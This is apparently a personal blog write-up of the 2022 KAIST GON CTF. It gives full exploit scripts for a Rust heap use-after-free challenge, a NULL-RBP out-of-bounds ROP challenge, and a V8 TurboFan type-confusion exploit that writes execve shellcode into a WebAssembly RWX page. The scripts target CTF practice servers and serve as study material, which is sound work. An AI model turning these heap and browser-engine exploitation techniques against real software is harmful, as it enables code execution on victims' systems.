
2022 Kaist GON CTF
sangjuns
·2022. 3. 23. 20:40
과제때매 시간이 없지만...오랜만에 재밌는 CTF봐서 라업 좀 써놓는다.
좋은 문제들 많았으니 나중에 참고할 때를 위해..
아직 뉴비인만큼 아아 받아올 정도의 순위는 아직이다..
1. Oxidized - Rust Pwnable
- 요약
1. 이렇게 입력하여 노드 1개를 추가하면 싱글 링크드 리스트 꼴로 힙이 잡힌다.
2. free시에는 저 리스트를 따라 차례대로 free한다.
3. 맨 아래 0x30사이즈 힙은 free되지 않은채 UAF를 가지고 있다.
4. 싱글리스트의 힙 구조를 기억해보면 linked list -> next를 덮으면 원하는 주소를 free가능하다.
5. 새로운 노드를 할당하면 저 위치에 linked list->next위치에 드가게 된다.
6. aaw와 aar가 생긴것이므로 Fastbin을 double free하여 free_hook을 덮고 exploit한다.
from pwn import *
context.log_level='debug'
#p=process("./chal",env={"LD_PRELOAD":"./libc.so.6"})
p=remote("host1.dreamhack.games",21094)
def insert(key,value,size=1,string='n'):
p.sendlineafter(">>","1")
p.sendlineafter(">>",str(key))
p.sendlineafter(">>",string)
if string=='Y':
p.sendlineafter(">>",str(size))
p.sendlineafter(">>",value)
def delete(key):
p.sendlineafter(">>","4")
p.sendlineafter(">>",str(key))
def update(key,value,size):
p.sendlineafter(">>","3")
p.sendlineafter(">>",str(size))
p.sendlineafter(">>",value)
def view():
p.sendlineafter(">>","5")
p.recvuntil("---------------------\n")
## heap leak ##
insert(1,"1234123"*2,0x1)
delete(1)
view()
leak=int(p.recvuntil("-")[:-2])
heap_base=leak-0x51f0
#libc leak
insert(4,p64(1)+p64(heap_base+0x2c8),1,string='Y')#원하는 위치 free가능
view()
p.recvuntil("-> ")
leak=int(p.recvline()[:-1])
libc_base=leak-0x3ec680
log.critical(f"heap base = {hex(heap_base)}")
log.critical(f"libc base = {hex(libc_base)}")
target=libc_base+0x3ebc2d-0x10
#print(pidof(p)[0])
# arbitrary free #
insert(22,"1234123"*2,0x1)
delete(22)
insert(23,p64(22)+p64(heap_base+0x5990),1,string='Y')#원하는 위치 free가능
for i in range(30,30+14):
insert(i,"B"*(0x60-1),1,string='Y')
for i in range(30,30+9):
delete(i)
delete(22)
insert("99",p64(target)*(0x50//8)+b"B"*8,1,string='Y')
insert("100",p64(target)*(0x50//8)+b"B"*8,1,string='Y')
insert("101",p64(target)*(0x50//8)+b"B"*8,1,string='Y')
log.critical(f"libc base = {hex(libc_base+0x10a41c)}")
pause()
insert("102",b"A"*0x3+p64(libc_base+0x10a41c)*2+b"B"*(0x60-0x3-0x10),1,string='Y')
p.interactive()
2. Null Null - based pointer overwrite
- RBP가 NULL로 덮여 OOB취약점까지 갈 수 있다.
- 1/16확률로 스택 레이아웃이 변해 확률적 익스다.
- OOB[0]에 립씨가 걸릴때까지 하면 OOB로 RIP까지 컨트롤 가능하다.
from pwn import *
#context.aslr=False
def debug():
print(pidof(p)[0])
pause()
#p=process("./nullnull",env={"LD_PRELOAD":"/sharing/libc.so.6"})
p=remote("host2.dreamhack.games",13015)
#debug()
p.sendline(b"1")
#p.sendline(b"A"*10+b"\x00"*(60)+b"C"*10)
p.sendline(b"aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj")
p.recvuntil("aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj\n")
#p.sendline(b"2")
#p.sendline(b"0")
#p.sendline(b"4222425088")
p.sendline(b"3")
p.sendline(b"0")
leak=str(p.recvline()[:-1])
#if "4222429319" not in leak:
# p.close()
log.critical(f"{leak}")
p.sendline(b"0")
p.sendline(b"0")
p.sendline(b"1")
p.sendline(b"aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj")
p.sendline(b"3")#libc leak
p.sendline(b"41")
p.recvuntil("aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj\n")
log.critical(f"{p.recvline()}")
leak=int(input(),16)
base=leak-0x240b3
system=base+0x522c0
sh=base+0x1b45b0+13
pop_rdi=base+0x0000000000023b72
print(f"system = {system}")
print(f"pop rdi = {pop_rdi}")
print(f"syh = {sh}")
print(f"base = {hex(base)}")
p.sendline(b"0")
p.sendline(b"1")
p.sendline(b"aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj")
p.interactive()
'''
p.sendline(b"2")
p.sendline(b"7")
p.sendline(p64(pop_rdi))
p.sendline(b"2")
p.sendline(b"8")
p.sendline(p64(sh))
p.sendline(b"2")
p.sendline(b"9")
p.sendline(p64(pop_rdi+1))
p.sendline(b"2")
p.sendline(b"10")
p.sendline(p64(system))
p.sendline("666")
'''
p.interactive()
3. baby-turbofan - V8 engine Exploit, pointer compression
- foo(0) foo("0") foo(-0)를 해보면 취약점이 보인다.
- Object.is(Math.expm1(-0),-0)에 대해 false가 나와야하는데 true가 나와서 OOB까지 이어진다.
- OOB로 wasm_instance의 오프셋을 구하고 float_array의 elements를 덮어서 aar를 만들어낸다.
- wasm_instance주변을 읽을 수 있는데 float_array의 length까지 조작해 wasm_instance주변에 있는 쉘코드 주소를 읽어낸다.
- 다시 OOB로 backing_store를 shellcode주소로 덮고 쉘코드 작성 후 exploit
var buf=new ArrayBuffer(8);
var f64_buf=new Float64Array(buf);
var u64_buf=new Uint32Array(buf);
function ftoi(val){
f64_buf[0]=val;
return BigInt(u64_buf[0])+(BigInt(u64_buf[1])<<32n);
}
function itof(val){
u64_buf[0]=Number(val&0xffffffffn);
u64_buf[1]=Number(val>>32n);
return f64_buf[0];
}
var oob=0;
function foo(x){
let a=[1.1,2.2,3.3,4.4,5.5];
let b=[1.1,2.2,3.3,4.4];
let c={c:-0};
let d=Object.is(Math.expm1(x),c.c);
oob=b;
}
foo(0);
for(let i=0;i<100000;i++){foo("0");}
foo(-0);
function bar(x){
let a=[1.1,2.2,3.3,4.4,5.5];
let b=[1.1,2.2,3.3,4.4];
let c={c:-0};
let d=Object.is(Math.expm1(x),c.c);
oob=b;
var overwrite=oob[d*5]&0xffffffff;
return oob[d*5]=oob[d*5]+itof(0x8888800000000n);
}
bar(0);
for(let i=0;i<100000;i++){bar("0");}
bar(-0);
var obj={"A":1};
var obj_arr=[obj];
var float_arr=[1.1,2.2,3.3,4.4];
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
obj_arr[0]=wasm_instance;
var wasm_addr=ftoi(oob[24])&0xffffffffn;
var overwrite=((wasm_addr+4n+4n+8n)<<32n)+0x2261n;
var overwrite2=0x601500000088n;
oob[30]=itof(overwrite);
oob[31]=itof(overwrite2);
console.log("wasm "+wasm_addr.toString(16));
console.log("over write"+overwrite.toString(16));
var rwx=ftoi(float_arr[9])
console.log("rwx "+rwx.toString(16));
var buf1=new ArrayBuffer(0x600);
var dataview1=new DataView(buf1);
dataview1.setUint32(4, 0x41414141, true);
obj_arr[0]=buf1;
var buf1_addr=ftoi(oob[24])&0xffffffffn;
console.log("buf addr "+buf1_addr.toString(16));
oob[250]=itof(rwx);
var shellcode=[0x48ff3148,0x3148f631,0xc03148d2,0x2fbb4850,0x2f6e6962,0x5368732f,0xb0e78948,0x90050f3b];
for (let i = 0; i < shellcode.length; i++)
{
dataview1.setUint32(4*i, shellcode[i], true);
}
f();
##END_OF_FILE##
4. CS448 - Crypto
- (랜덤값+입력값)%0xff= enc
- enc ^ 플래그의 1바이트 = 결과값
- enc는 0~0xfe까지 나올 수 있다. 플래그 1바이트는 모르는 숫자다.
- 오직 결과값만 가지고 플래그를 알아내야한다.
- 크립토 하는 분들 천잰가
'War Games > ctf-review' 카테고리의 다른 글
[ AngstromCTF 2022 ] CTF 딱 1년 차 (2) | 2022.05.05 |
---|---|
[ H4C Game ] 웹 풀어보기 (0) | 2022.03.26 |
코드게이트 2022라업 VIMT (0) | 2022.02.28 |
[ CTF Write UP] (0) | 2021.10.03 |
[ CSAW CTF 2021 ] word_games (0) | 2021.09.13 |